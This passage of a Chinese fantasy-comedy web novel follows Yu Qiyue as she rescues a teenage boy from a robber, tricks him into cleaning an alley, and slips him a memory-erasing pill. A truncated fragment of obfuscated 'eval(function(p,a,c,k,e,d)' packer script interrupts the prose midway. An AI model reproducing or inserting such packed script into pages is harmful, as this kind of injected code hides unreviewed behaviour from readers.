他怕不是在扮猪吃老虎？算了，这和她有什么关系呢，送佛送到西，救人救到底，还是先把地上那坨解决了！ “拿着。”她把甜品袋塞给少年。 夏日酷热，虞栖月的体温总是很高，就算是夜晚，她也总觉得身上的热气一直无法散去，所以当她碰到一个冰冰凉凉的东西时，下意识地就多摸了一把。 直到这东西动了动，她才恍然自己抓住的是什么——少年的手。 不是她夸张，这手的手感真是好啊，冷冰冰、滑溜溜的，真想再多摸一会…… 他是怎么做到的，这样的天气，体温居然能这么低！ 虞栖月酸溜溜地想，这体质要是能给她就好了。 正当她恋恋不舍地要放开时，少年冷淡的声音响起： “你可以再多摸一会儿。” “好啊。”虞栖月也没琢磨这话是不是反话，他这么说她就这么听呗，她甚至反客为主道：“你是不是体虚啊？我手可热乎了。给你暖暖。” 少年：…… 这是灭了一个抢劫犯又来了一个色狼。 刚只小跑了这么一小段路，虞栖月头发和脖颈的交界处就冒出了不少细汗，对这主动邀请的冷手宝自然是不会拒绝的。 反正这巷子里这么黑，根本看不清脸，出了巷口，谁能认识谁？ 而且这手光滑细嫩，这热天里她揉搓了这么会居然也没能搓出泥，指甲也是修剪过的圆润。 干净的，她很满意。 虞栖月毫不客气地两只手齐上阵，要不是还有理智，她都想把发热的脸蛋凑上去。 她这里摸摸，那里贴贴，好一会儿才放开。 “怎么不继续了？”少年虚伪客套道。 “嗯……你的手现在——” 烫？热？ “温暖了，对，是不是舒服多了！” 虽然虞栖月已经很努力地琢磨了自己的用词，但少年依然精准捕捉到了这话背后的潜台词和情绪。 这是嫌他的手变热，摸着不舒服了？ 黑暗中，少年的情绪第一次出现了裂缝，他气极反笑，这人厚着脸皮占他的便宜也就算了，居然还嫌弃他！ 渣女！ 少年的左手牢牢地提着甜品袋，至于右……攥的紧紧的，不知道是因为太用力还是什么，轻轻颤抖着。 右手好热，都是她的温度…… 少年生着闷气时，虞栖月弯下腰一把抓住躺在地上的孙向平领口，轻轻一使劲就把他提了起来，整个人摁到墙壁上。 “疼、疼、疼，轻点……”孙向平讨饶道。 “活该！”虞栖月夺走他偷偷藏在身后的啤酒瓶，“怎么，你这是想偷袭？” “不敢不敢！”孙向平的头瞬间摇成了拨浪鼓。 虞栖月轻哼一声，也没说相不相信，“看好了，啤酒瓶要这么摔才能碎！” 啪！ 啤酒瓶敲在墙壁上，碎了大半，酒液和碎玻璃片飞溅。也不知道她是怎么使劲的，刚好都避开了少年所站的地方。 至于她自己，因为距离太近，她直接扯过孙向平当挡箭牌。 “嘶！”孙向平唉哟叫唤，背后的衣服被酒液浸透后全然黏在身上，裸露的胳膊也被划出三道血痕。 “我错了，姑奶奶。我真的错了。” 他双腿一软，险些就要跪下。 跪什么跪，折我寿呢！虞栖月单手把孙向平牢牢地钉在墙上，“你对我认错没用，我又不是苦主。” “小兄弟，不，哥，你就让她饶了我吧，我以后肯定再也不抢劫了，一定洗心革面，好好做人！”孙向平简直快要哭了。 “怎么样，要报警吗？”虞栖月问道。 报警？不能报警！孙向平眼神祈求地看向少年。 然而，夜色浓黑。巷子里只能模糊地看见个大概，脸都辨不清，更遑论他的哀求。可他又不敢贸然出声，一是真的怕了这个女煞星，二则怕适得其反，生怕少年听见自己的声音反而怒上心头。 巷子里安静下来，或许是走神了，少年慢了两拍才道：“不用报警，让他走吧。” “谢谢！谢谢……”孙向平满嘴感谢，生怕他改主意。 就这？虞栖月觉得很没有意思，松了手，懒散道：“还不快滚！” 没想到这么轻易就被放过，孙向平一时间没控制住身体，背部顺着墙壁滑落，屁股坐到地上的玻璃碴子上，顿时哀嚎出声。 “啊！！！” 虞栖月被这尖利的声音吓得往后一跳，看见孙向平捂着屁股跳起来才知道发生了什么。 虽然屁股上还插有玻璃碴，但孙向平怕他们后悔，于是仍身强志坚，连滚带爬地从巷子里离开了。 看着那一颠一颠护着屁股的背影，虞栖月噗的一声笑出来。 “哈哈哈，你说他屁股有多疼啊？” “我对他的屁股并不感兴趣，我只知道你——”少年道，“踩着我的脚了！” 最后几个字少年几乎是一字一顿。 听出话里的不满，虞栖月忙不迭地跳开：“对不起，我以为踩的是垃圾呢。” 这巷子里的卫生很差，散落着不少纸盒，塑料等垃圾。 虞栖月真没想到自己刚刚那么一跳偏就这么巧踩到了少年的脚。 垃圾？少年沉默。 他想自己可能和这人犯冲！ “你就这么轻飘飘的放过他啦？”虞栖月没注意到少年的情绪，她还在心里感叹他的性子也太软了，还以德报怨。 然而，少年接下来的话打破了她的滤镜。 “报警对他不是件坏事。” 怎么说？虞栖月来了兴趣，坐牢难不成还是件好事？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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求和的意思传达到了，他应当不会再计较先前她吃他豆腐和踩他脚的事了吧？ 可谁料少年压根不想收：“我要这个干嘛？” “这是你的战利品！”虞栖月脑筋飞快转动，小嘴叭叭道：“你想想，那抢劫犯本来想抢你，可现在你看看，他只得到了一屁股的伤，而你却收获了他的，嗯，半瓶啤酒。” 少年仍拒绝：“是你打了他，救了我，这酒是你的战利品。” “你和他，我救的是谁还不一定呢。”虞栖月小声嘟囔。 声音太轻，少年没听清。 “你在说什么？” “没什么。” 见这酒瓶又要被少年塞回来，虞栖月有点不开心。其实……她把啤酒瓶给他还有一个原因，就是嫌弃它碍手碍脚，这没垃圾桶，还不方便处理。 虽然地上都是垃圾，但她还是很有素质的，做不到乱扔。 至于刚才那些玻璃碴—— 那是个意外，那会她情绪上头，觉得那样子很酷，就把啤酒瓶……给砸了。 也如她所想，那动作真的蛮唬人的，差点没把那抢劫犯吓哭。 她果然酷毙了！ 想到这，虞栖月眼睛亮起。 所以她为什么不能再酷一点呢？ 她现在可是有金手指的人呐！ 这手她摸了便是摸了，那脚她踩了就是踩了。 系统商城里肯定有能解决她现下需求的东西，能量值赚来干嘛，就是用来花的。 而她！ 现在可是有整整1570能量值的大户！ 9. 第 9 章 一百两百她还是花的起。 可是……她还是高看自己了。 为什么都这么贵啊！ 电子屏幕上，哪怕是最便宜的价格都可以买五颗精力丹或10个蟑螂引诱剂了。 系统商品是按价格排的序，虞栖月看向最左上角的迷魂丹，旁边标价整整五百能量点。 忒坑！ 虽然不至于贷款消费，但仅这一颗就能耗去她三分之一的身家，就没有更便宜一点的吗？ 虞栖月犹犹豫豫。 其实吧，装酷也不是生活必需品嘛。 人生在世，总要学会大度和体谅。 不就是踩脚，谁没有遇到过呢？至于……摸手，也是他邀请的嘛。 而且摸手是相互的，他也摸了她的不是吗，虞栖月气虚地想。 她反思一下自己那会怎么就没忍住呢，那手不就是凉快了点、滑溜了点、摸起来舒服了点嘛？ 唉，一个沙漠中缺水的旅人能忽视一瓶突然出现的矿泉水吗？答案是不能。 知道这是不对劲的，但嘴唇发白，喉咙干渴冒烟的时候，冲动是一头拦不住的疯牛。 她当时就是那个口渴的旅人呐！ 而且她只是犯了一个全天下女人都会犯的错罢了…… 她努力劝服自己，但依然很没有底气，她知道如果转换过来，是自己被他吃了豆腐，肯定不会轻飘飘地放过，而是会打的他满地找牙！ 这么看来，自己确实做的不太对。 真诚是必杀技，她要不还是道个歉吧。 歉词在她心里滚了滚，正要出口之时，少年率先开口： “你——叫什么名字？” 他说这话时语气别别扭扭的，倘若认真听还能发觉其中隐约的不自在。 然而，虞栖月半点也没感受到，反而觉得这语气硬邦邦的，所以她的第一反应是防备。 他果然是要报复自己，这都开始打听她的个人信息了！ 脑中迅速拉响警报，危机感压过了她抠门的天性。 不行，能量点该花还是得花，可是当她一看到屏幕上五百这个数字，这手就会不听话，愣是点不下去。 要是再便宜点就好了，只要不到五百，不超过她一次任务的50％奖励，哪怕是499，她咬咬牙也就买了。 就算效果不是那么好，也不是不行啊，或许是检测到了虞栖月的想法，电子屏幕仿若信号不良地闪烁两下，再定睛一看，上面的商品只剩下了一个。 【迷魂丹·次品】服用者会在十分钟内逐渐丢失最近一个小时内的记忆，空白的一小时记忆将通过拉长一小时前记忆的时间感知进行填补，使其无法察觉。（注：但当服用者确定记忆丢失并强烈想要寻回时，丹药作用有40％的概率会失效） 迷魂丹的功能介绍没有变，只是多了一个提示。 会失效？ 虞栖月皱了皱眉但很快又松开。 这是次品的迷魂丹，不能要求太多。虽然多了点瑕疵，但价格上却美丽了很多，直接砍了半，才250能量点啊。 果然对比才是幸福感的来源，对这个价格，她接受的很快。 虽然比较单位不同，但50%的折扣和40%的失效概率相比，虞栖月觉得自己妥妥是赚了。 这个系统商城还是很有潜力的，还要多多挖掘，只要价格合适，就算不那么完美，也还是很香的。 而且如果次品都是40%这个概率，那完全在她的接受范围之内。 她心很宽，仍是那句话，只要概率没到50％完全可以搏一搏，更何况这还有个先提条件，得服用者能确定记忆丢失才行。 先前五百这个数字太过吸睛，虞栖月对迷魂丹的具体功效只粗略地扫了一眼，现在她认真地读了三遍，才大概明白迷魂丹是如何达到效果的。 介绍文字略显晦涩，但通俗理解起来，其实很简单—— 譬如欢乐的时光总是短暂的，上课的时间总是漫长的。实际上只是因为情绪等其他因素影响了对时间流逝的感知，使得时间变得模糊。 迷魂丹正是运用了这个原理。 虞栖月很满意，这样服用者只要没有外界因素的刺激，基本不会察觉他被偷走了一个小时。 而且这里只有她和他，只要自己不说，少年就不会有迷魂丹失效那个契机。 等等，不对！ 虞栖月忽的想起自己忘了一个人——那个抢劫犯。 但她也只懊恼了一小会儿，鉴于抢劫犯离开时的熊样，往后怕是见了他俩都得绕道走，他是做亏心事的那个，除非他想坐牢，否则不至于跑到受害人面前叫嚣。 也幸亏他跑得快，要是再来个250，她可真不想买了。虞栖月的骄傲犹如泡沫，一戳就破，她再一次深刻认识到自己是穷鬼的现实。什么大户啊？也就勉勉强强买得起精力丹罢了。 她点击购买，然后眼睁睁地看着能量点一下从1570直接掉到了1320，她的心在无形地流血。 握着手里的盒子，虞栖月并不急着使用，在那之前她还想少年帮她完成一个任务。 是的，她的任务并不是路见不平，拔刀相助。 想到这，虞栖月也很郁闷，现在她才发觉自己被系统给摆了一道，一个任务竟然要做两件事！ 万一任务完成后系统只给一千能量点，那她就亏了。 虞栖月眯起眼睛，她很难不怀疑这是来自系统的报复。 因为……那会儿是她先想着算计系统来着。 当时，虞栖月听到巷子里传来威胁声时，并没有急着去救人，而是继续向前走了两个小碎步，一副事不关己，决定离开的姿态。 直到她走出五步以后，脑海中果然传来了叮咚一声。 点开电子屏幕，上面赫然是一条关于任务发布的提示信息。 【被遗忘的老巷】委托者：丁香—— 很久很久以前，我还是一条没有名字的小巷，和其他千千万万条无名的巷路一样，并没有什么区别。直到有一天，一个穿着长裙的姑娘拎着画笔和颜料闯了进来，她把我变成土壤，绽放了一簇又一簇美丽的紫丁香。从那天起，我开始有了名字，从这儿、那儿变成了丁香巷。越来越多的人从我这里穿过，他们带来了热闹，也带来了垃圾。我已不记得从哪天起，那个姑娘再也未出现过。雨水、霜雪和岁月一起斑驳了她在我身上留下的美丽。人们也渐渐消失了，与我做伴的只剩下一地的垃圾。今天我久违地迎来了两个过路人，但其中一个人却带来了罪恶。我不愿看见，沾染了罪孽的血之花在这里绽放，我希望有人能够阻止这一切，并让我变回从前那个干干净净的样子。也许有一天，那个姑娘还会再来。 虞栖月沉默看完，眼睛里露出了迷茫。 这个任务…… 其实她一直以为这些委托者只不过是系统的新衣。是它喜欢用一种恶趣味的方式来发布任务。 毕竟对瘦有畸形追求的垃圾袋、爱美的小区、怕碰瓷的笔洗，这些都给人一种奇葩又带着恶作剧的意味。 但这次的任务好像不一样，虞栖月觉得自己好像真的 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虞栖月也向巷子里快步走去，她怕自己再不阻止，真的要血溅三尺了，毕竟血迹可不好清理。 但好在还不晚，一进去正好赶在了转账的时间点。 早知道就放弃……不是，迟点进去了。 就算没有她的参与，依少年的应对方式，今日这巷子里也不会发生什么血光之灾。 虞栖月痛惜地握住手中的盒子，250，她才是那个二百五。 见少女一直沉默不语，少年右手虚握，抠了抠莫名发痒的手心，再次出声问道：“可以告诉我你的名字吗？” 虞栖月此时的心神全在盒子上时，听见这突如其来的一问，她下意识的嘴一秃噜： “电母。” 少年认为自己听错了，反问道：“什么？” 虞栖月反应过来自己刚说的词，不禁无语，她是绕不过去这个名字了吗！ 她被自己蠢到了！ 在短视频社死也就算了，幸好也没人知道，可现在她怎么又开始了？ 罢了，下次一定一定不要再弄出这种乌龙了，虞栖月在心中告诫自己。 至于现在，既然已经说出口，那就随便糊弄一下。 “你没听错，就是雷公电母的那个电母。” “你哄小孩呢！”少年脸蛋涨红，怎么可能会有人叫这个名字。 “就是哄你啊，小孩儿。”虞栖月嘴里不着调。 “我快十八了，是个成年人了，不是什么小孩！”少年咬牙切齿地声明。 “唔，成吧，那小大人，作为一名成年人，你应当要学会社交规则，我不正面回答就代表我不想告诉你我叫什么，还要再问吗？” 这话无情又刺耳，少年不说话了。 感受到沉默空气中弥漫的尴尬氛围，虞栖月开始后悔自己刚才说的太过强硬了。 这巷子还没打扫呢…… 见少年一直低着头，虞栖月心里咯噔一下。 不会被自己弄哭了吧？ 太黑了，都看不清他脸上有没有泪光。 虞栖月小心翼翼地靠近少年，然后以迅雷不及掩耳之势将自己的脸对准他的脸，想确定他是不是在偷偷地哭鼻子。 可她没料到，或许是少年察觉到了她鬼鬼祟祟的接近，那一刻他也把脸抬了起来。 虞栖月原本预估好的距离一下被拉进。 两人四目相对，气息交缠。 10. 第 10 章 虞栖月僵着身子，完全不敢妄动。 此刻她全身每一处感官都被放大，视野里是一双晶亮慌乱的眸子，呼吸带动的气流声钻进耳朵。她心如擂鼓，鼻尖发痒，像是有小虫子在上面爬。 短暂而漫长的静谧后，虞栖月头往前一点—— “阿嚏！” 她打了个重重的喷嚏！ 这突如其来的一声，直接将萦绕在两人身边的暧昧氛围清了个一干二净。 “对不起，刚才好像有虫子在鼻子上，有点痒。”虞栖月揉着鼻子道。 少年脸色发青，就差一点，如果不是他及时抬头，这喷嚏就要打在他脸上了。 而且…… 黑暗中，少年的脸染上红晕。 什么虫子，那明明……明明是他的鼻子…… 见少年不说话，气氛隐隐又有尴尬起来的趋势，虞栖月只得干笑两声，试图活跃气氛。 “这虫子也太毒了，我鼻尖都快肿起来了。” 这话半真半假，虞栖月的鼻尖确实发红，但却是刚刚她自己揉出来的，为了抹去上面莫名散不掉的异样感。 “夏天就是虫子多，我刚听见嗡嗡声了，肯定是蚊子，太毒了。” 毒蚊子？少年气笑了，冷声道：“那是我的鼻子！鼻子！” 什么鼻子？ 那不是蚊子，而是少年的鼻子？！！ 虞栖月双眼倏然睁大，慢半拍地将两者划上等号， 他他他……是说……刚才是他俩的鼻子碰一起了？ 那跟咳咳有什么区别！ 啊啊啊！ 鼻尖又痒起来了，虞栖月强忍住去摩擦的冲动。 就她和少年现在的距离，一举一动还是很明显的。 而在刚才的接触中，少年总是很容易就生气，这乌龙又是她引起的，倘若她还敢露出嫌弃的姿态，依这少年的脾气怕是要炸。 “抱歉。”她又道了个歉，解释道，“刚才我就是想凑过来……”看看你有没有哭。 说到一半，虞栖月后知后觉这话有问题，于是剩下的半截被她咽回肚子里。 不能这么说。 男人，总是格外在乎自己的自尊，尤其是这个年纪的小男生，如果被他知道自己是在检查他脸上有没有眼泪，怕是会被认为是挑衅。 而且刚才她说话过重那事好不容易才过去，她没必要又把埋上的坑重新挖开。 她迅速开动脑筋，试图找一个合适的理由来解释自己诡异的行为。 但没有啊！ 两个人凑这么近，不是偷袭就是偷亲，而这二者她都不能选。 虞栖月还在头脑风暴，少年按耐不住了。 “你怎么不说了？”我看你能找什么借口。 哼！肯定又是要占我便宜。 因为皮相好，少年从小到大告白和情书从来就没少过，但像面前少女这样大胆，一上来就偷亲他的，还真是头一个！ 少年羞涩，还有点不知所措：“你能不能矜持点？我们还只是第一次见面，不能做……那种事。” 而且……你连名字都不肯告诉我。 渣女！少年心中委屈。 尽管少年这话说的跟打谜语似的，虞栖月偏偏就是懂了他的未尽之语。 她简直百口莫辩。 “你不要胡说八道，毁我清白。”她急忙反驳，“而且不矜持的是谁啊，什么叫第一次见面不行，那第二次就行了？你倒是说清楚什么叫那种事！” 少年语塞，脸直接红成了熟螃蟹，两只白净的耳朵更是鲜红欲滴。 不知道是气的还是羞的。 “你、你不要……扯开话题。”少年磕磕绊绊，又问了一遍：“说清楚你刚才到底要对我做什么？” 可惜！这问题还是没有糊弄过去。 虞栖月心中懊恼，她都这么插科打诨了，居然也没把这话题岔过去，这人怎么就这么执着呢？ 唉，固执还爱生气，真是太难应付了。 既然躲不过，那就别怪我要开始胡说八道了! “你好香啊，所以我没忍住。” 这虎狼之词让少年失了淡定，他大惊道：“你知道自己在说什么吗？” 她当然知道自己在说什么。 虞栖月承认她就是故意的，既然说她不矜持，那就直接坐实了。 行动上她做不了，但言语上挖个坑还是没问题的。 “咦～”虞栖月阴阳怪气道，“你的心好脏，我说的是你身上饭菜味道很香，你想哪去了？” 饭菜？少年呆愣。 “你没闻到吗？你身上好浓的红烧肉味呢！” 虞栖月不是胡说的，不知道是不是晚上没吃饱，她对这味道格外敏感，而且少年身上这红烧肉气味只是闻闻就知道做的一绝。 别说，她还真有点馋了。 “你晚上在哪家餐馆吃的？” “不是餐馆，是我爷爷自己做的。”少年木愣地回答，难道真的是自己龌龊了？ “你就是为了这个？”他又求证了一遍。 “当然了，我就是晚上没吃饱，所以出来觅食的。”虞栖月语气中没有丝毫的心虚。 这一句确实不是假的嘛。 咕咕，虞栖月的肚子也适时地叫了两声。 尽管少年还是直觉不对，但他也拿不出其他证据，而且这腹鸣声也不是作假的。 “抱歉，是我误会你了。” 占了上风，虞栖月顺杆就爬，她立即道：“你现在是不是对我有一腔愧疚无法抒发？” 呃，其实也没有。不过只听这一句，少年就明白了少女的意思，他无奈道： “你要我做什么？” “你放心，很简单的。”虞栖月跺了跺脚，“喏，就是把这条巷子打扫干净。” 这显然算是好人好事，于是少年痛快应下，也不问为什么，更不问为什么不在白天打扫。 “爽快，你真是个好人。”虞栖月立刻夸夸。 被发了好人卡的少年：…… “那扫把呢？” 扫把？ 虞栖月一呆，对啊，扫把呢！除了这个，还得要有畚斗和垃圾桶才行！ 可这巷子里显然不可能有这些，她总不能回家拿吧，先不说时间上来不及，万一这个好不容易钓住的劳动力脱钩开溜了怎么办。 看来只能统购了！ 虞栖月随便指了个黑暗的角落：“我知道那里有工具，太黑了看不见，我去拿，你就在这里等我。” 不走不行，盒子面积小，突然出现在手中也不会引人注目，但扫把之类的一下掉落在她怀里，掀起的气流波动怕是个瞎子都能察觉。 好消息，系统商城里真有卖扫把的，还是个三件套，扫把、畚斗和垃圾桶一下都齐全了；坏消息，系统商品从不卖普通商品，因此价格也很贵。 【清扫三件套】—— 【三不沾扫把】：不沾毛、不沾灰、不沾水，由灵兽毛和灵植制成，扫地超轻松，打人也超棒哒。 【无门槛畚斗】：超轻薄，会自动吸附未扫入垃圾，一扫到位。 【黑洞垃圾桶】：可以吞噬分解掉所有垃圾。（注：禁止将生命体塞入，会引发小型爆炸） 虞栖月面色古怪地看着电子屏幕，这科技和修仙完全是两个不相干的元素啊，怎么就凑成三件套了？还有这捆绑销售又是从哪里学来的！系统绝对是读她心了，不然怎么不再加个拖把组成四件套呢！ 三件套单买各一百五，合在一起则只要三百，看着很划算，虞栖月果断买下，毕竟迷魂丹都花出去了，这作为任务必需品的三件套自然是省不掉的，反正也不是一次性用品，到时候带回家就是。 不过她要不要再买一个扫把，总不能只少年一个人干，她在旁边看吧。 虽然她脸皮厚，但还是会有点不好意思的。 就在虞栖月要再次确认购买扫把时，她先前设置的闹铃响了。 “叮铃铃——” 这是她先前为了不超过迷魂丹的使用时间范围特意弄的，还是按推测少年进巷子的时间来设定的一小时。 怎么这么快时间就到了！ 虞栖月看着手里的三件套，人直接傻了。 她这是白买了？ 刚才的口水也白费了？ 不要这么玩她啊，这显得先前费尽心机的她都成了傻子！ 但现在不是考虑这些事的时候，她可还没忘了要紧事——还得喂药呢。 那边还站在原地等待的少年听见铃声后，就感受到虞栖月带着风朝他跑来。 “你——唔。”少年本想问她怎么跑这么着急，谁料刚分开的嘴里猝不及防地被塞了一个圆滚滚的东西。 “请你吃糖，别客气！”虞栖月喘着气急促道。 “这是什么糖，还入口即化。”少年皱着眉头，而且这糖怎么不甜？ 虞栖月根本没耐心回答，她焦虑地想，这药效怎么还不发作，难道因为这是次品？ 不等她打开系统商城确认自己是不是还看漏了什么注意事项。 只听见咚的一声，少年软倒在地。 估摸要晕十分钟，时间完全充足。 虞栖月也没管少年，反正这热天，地上躺一会也不会着凉。 她打开系统商城想要尝试退货，那三件套还新着呢，她可一点也没用过。 但界面毫无反应，这是没这个功能？ 虞栖月表示对系统很失望， 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这做什么家务机器人呐？战斗型也不是不行啊！ 不到十分钟，整条巷子就被清扫的一干二净，甚至连墙面都被擦了一遍。 脑海中叮咚一声，任务完成了。 虞栖月也没急着看奖励，因为少年的身子也动了。 她必须得跑路了，可是……这家务机器人怎么带走？ 下一秒，家务机器人直接化身一道流光，钻进了虞栖月眉心。 她同时也有了明悟，原来只要是在系统商城里购买的东西都能存储到系统里。 这可真是太方便了！ 见少年捂着脑袋就要坐起，虞栖月抓紧甜品袋，一溜烟地跑出巷口。 跑出好远才停了下来，她大口喘着气，慢腾腾地走进小区，手里不安分地晃悠着袋子。 路灯有明有暗，人影时现时隐，虞栖月一脚踩光一脚踩暗。 她一边给自己找乐子一边想着楼前的空地应该打扫干净了吧？物业就算为了下班，也该会提升效率！ 脚步声哒哒响起，迎面有人朝她这个方向走来，虞栖月定睛一看，这不就是物业工作人员吗！ 不过他两手提着的超大黑色塑料袋是干嘛的？ 距离逐渐缩小，擦身的一瞬间，虞栖月不着痕迹地打量了两眼。 呕—— 不看不知道，一看吓一跳！ 那袋子其实是白色透明的，里面挨挨挤挤的全都是黑色的蟑螂。 不过怎么装这么整齐？ 虞栖月停下脚步，塑料袋里晃动的甜品盒依着惯性打在她的小腿上，她低头看了一眼，脑海中一个念头闪过——总不能是打包卖给医药公司做康复新液吧？ 这……死在化学药剂下的也可以用吗？ 咕噜咕噜的滚轮声打断了她的思考，虞栖月抬眼望去，五名物业人员一人推着一个满满当当的垃圾桶，里面是蟑螂残肢和未被啃食完的垃圾。 她赶紧捂住鼻子，直到酸臭味远去。 看着那五个笨重肮脏的垃圾桶，虞栖月总感觉自己好像漏掉了什么。握着的手机发出震动，她点亮屏幕。 原来只是一条无聊的浏览器信息，左滑删除。 虞栖月的目光自然地扫过上方的时间——快八点了。 糟糕！ 那五个垃圾桶！ 反应过来的一瞬间，虞栖月突然明晰了从刚才起一直围绕在耳边的窸窸窣窣声到底是怎么回事。 她在看群聊消息时感叹的遗憾在此刻得到了圆满。 在她刚刚走过的路上，一大波蟑螂军团向五个垃圾桶进行了冲锋陷阵。 五名物业人员发出尖叫，仓皇溃逃。 模糊的预料化为现实。 虞栖月记得那五枚蟑螂引诱剂是她在中午接近一点钟的时候使用的，介绍说是八个小时的使用时效，所以应当到晚上九点左右垃圾桶才能恢复正常。 在此期间，一旦随便移动垃圾桶导致中心点转移，那未涉区域里还不曾受到召唤的蟑螂也会闻讯而来。 就像现在这样，崭新的蟑螂山在她的注视下再次形成。 不过这次规模就小了很多，虞栖月在心中给物业送上了由衷的祝福。 希望他们能够清理的慢一点，至少在九点前不要再移动垃圾桶了。 也不知道他们在亲身经历蟑螂大军后，会不会对小区垃圾问题有更深刻的同理心？ 背后的垃圾桶上蟑螂蔓延，前方的夜空中挡月的云终于散去，明月高悬，无论明暗的路灯，温柔的月辉撒下，虞栖月踩着一路的月光回家。 11. 第 11 章 “我回来啦。” 虞栖月脱下鞋子，却没等到老大跑过来。 猫呢？ 节奏紧张的音乐声传来，虞栖月踩着拖鞋往客厅一看，三花正在沙发上正襟危坐，炯炯有神地盯着屏幕。 电视里汤姆正在追逐杰瑞，一路上凳子倒了、花瓶碎了、盆里的奶也淌了一地，杰瑞一个急转弯，迎接它的却是一堵墙，汤姆眼睛一亮，飞扑过去，此时老鼠已是掌中之物。 三花身体前倾，跃跃欲试，眼睛也泛起幽光，然而下一秒它的世界陷入黑暗。 “喵？” 喵瞎了！ 三花猫毛竖起，两只前爪在空气中扑腾。 “哈哈哈。”虞栖月松开手，然后狠狠地揉搓了一把猫头，“看这么认真，都不来迎接我，还以为你又溜出去了呢。” 猫猫不理，恢复光明的第一时间它仍是专注地看向电视，可惜只看见汤姆头撞在墙上，满脑子晕眩，旁边杰瑞还在捂着肚子大笑。 讨厌，老鼠讨厌，人也讨厌。 三花看向一旁眉眼带笑的人，哈了一口气。 虞栖月见势不妙，连忙举起手道歉，不过依旧没躲过猫猫拳。 一人一猫绕着客厅不停打转，直到电视里又开始新一轮的猫鼠追逐，三花才肯放过人坐回沙发上。 虞栖月转的头晕，在餐桌旁坐了一会才缓过来，她打开甜品袋，先取出舒芙蕾，一大口咬下去，口感蓬松轻盈，还散发着淡淡的蛋香。 她满足地眯起了眼，决定下周要买这个。 三两口解决掉，她又取出那块提拉米苏，小巧而精致，浅黄和咖色交替叠加，色彩对比鲜明，她都有点不舍得吃了。 漂亮的就跟花一样，怪不得也有寓意。 不过是什么来着？ 自由、美？不对，好像是…… “喵~” 喵吃。 耳边突然响起的猫叫声打断了虞栖月的回忆，她一把控住不知道什么时候挤过来的猫猫头：“不能乱吃东西，快回去看电视！” 猫猫不听，只一个劲地挣扎着要摆脱束缚，还试图伸出舌头舔。 虞栖月也只能强行捂嘴，感受着手心的湿润，脸上浮现起痛苦面具。 但好在，提拉米苏保住了。 她强硬地搂着三花走到柜子旁，然后给它开了一盒猫罐头。 “喵~” 好吃好吃，喵才不吃那玩意，罐头是最最美味的，笨人。 见三花吃的头也不抬，虞栖月回到座位上，这次也不会舍不得了，一勺接着一勺，动作迅速，尽管吃得有些囫囵吞枣，但也不掩其美味，质地柔软，奶酪绵密顺滑，口感浓郁。 一个字，赞！ 胃得到了满足，虞栖月终于想起自己还有奖励没看。 这次依旧是一千能量点和一个技能，她没有急着去查看技能，而是点开了来自青花的留言——如果有一天，你遇见了那个穿着长裙，还会画画的姑娘，请告诉她，有一条叫丁香的小巷很想对她说： “谢谢你，我一直记得你！” 虞栖月摇了摇头，希望太渺茫了，筛选条件不够多，完全是大海捞针。 她退出任务界面，打开技能面板，此时上面已经有了三个技能。 技能三——【猜猜我是谁】使用该技能可随机变幻模样，不拘性别，种族等，每次使用需消耗100能量点，若要指定模样，则需支付200能量点，时长一小时，提前解除或每延长一小时，需额外支付50能量点。（注：该技能在指定模式下有10％的概率会发生部分异变，但支付时在基础价格上增加50能量点即可消除变异概率） 这个技能很有用，但同样的，缺陷也很明显，不过短短几行字，系统想要抢能量点的想法简直要溢出来了。 尤其是括号里面的提示，这是在嘲讽吧！ 二百加五十，等于二百五。 这真不是在骂她吗？ 可恶！要是这任务奖励能提前发就好了，刚才她也不用花费那两百五十个能量点了，直接一个变身就能解决的事。 能省下一百五呢！虞抠抠看着屏幕，一脸心痛。 整理好心情，她的目光移到左边的能量点余额上——1290，呼吸又是一滞。 虞栖月掰着手指头数了数，她今天整整做了四件任务，其中只有一件还在进行中。 早上醒来时本来就有一千的能量点，也就是说她辛辛苦苦一整天，最后只赚了290？！！ 她的能量点都花哪里去了？ 虞栖月细数了一下，她一共买了三种丹药、使用了十几次【家人们谁懂啊】鉴定技能，最后她还买了一个家务机器人…… 其实……也不多吧，而且绝大部分是消耗品，现在她手里也就只剩下一颗精力丹和一个机器人而已，怎么大几千能量点就没了呢！ 想到这，虞栖月从系统空间里取出她花了大价钱的机器人。 既然钱已经花出去了，那就赶紧用起来，虞家不养闲机器人。 先前在巷子里要抓紧时间，所以虞栖月也没仔细研究它，只是看到商品介绍中有‘全能’以及‘全自动’就心动了。 现在闲下来，她才有心思仔细查看—— 【家务机器人】该产品为第一代家务型全能机器人，拥有清洁、料理、医疗三种功能，可满足顾客所有家庭需求，能量来源为太阳能，顾客只需完成设置，即可实现全自动。 竟然还有医疗！简直是意外之喜，就是不知道能不能看猫病。 银白色的机器人安静地站在地板上，因为尚未启动，类人的两只手臂垂落着，作为大脑的面板也是暗着的。 虞栖月按下红色按钮，面板上出现加载条，很快便跳出控制界面，上面是三个代表不同功能的圆形图标，她点击曾使用过的清洁功能，点击后浮空出现一张3D地图，她将整个家纳入清洁范围，不同于老巷中只勾选了地面，这次她将所有方位都打上了勾。 然而当她按下‘立即执行’前，又跳出了一个选择界面—— 【是否开启AI智能模式？】 【是】【否】 这是什么模式，先前怎么没有？ 虞栖月摸着下巴思考，突然，她的目光凝住了。 不知道是不是错觉，她总觉得那个【是】的按钮泛着的光芒更亮，不像另一个那么虚浮。 难道这机器人也成精了不成？ 不可能吧……建国后可不许成精的。 但这家务机器人显然不是华国制造，甚至不是地球制造啊！ 虞栖月脸上的笑容一点点收敛起来。 她目不转睛地盯着眼前的机器人，慢慢地，选择界面出现波动，【是】的光芒暗下去，和【否】变得一致。 这是什么掩耳盗铃的操作？ 抓住了！ 虞栖月眼中逐渐染上几丝兴奋。 虽然说是机器人，但看这操作，瞧着智商也不高，或者说还是有点单纯了，不过保险点，今晚还是先不动它了。 虞栖月果断的把家务机器人强制关机，重新塞回系统空间。 在正式使用它之前，她还得上道保险。 至于这保险，肯定只能来源于系统商城，观察机器人的那会功夫，虞栖月也没闲着，已经锁定好道具了，只是还是老问题，她能量点不够，买了道具，她手里可真的是剩不了多少了。 还有一个任务还没完成，她得留后手才行。 但她又多了一个问题——今晚家里的卫生又得她自己打扫了。 虞栖月苦哈哈地看着桌子上还未收拾好的垃圾、粘在沙发上的猫毛、以及……遍布各处的梅花脚印！ “老大！”她大吼一声，“你今天又偷溜出去了？” 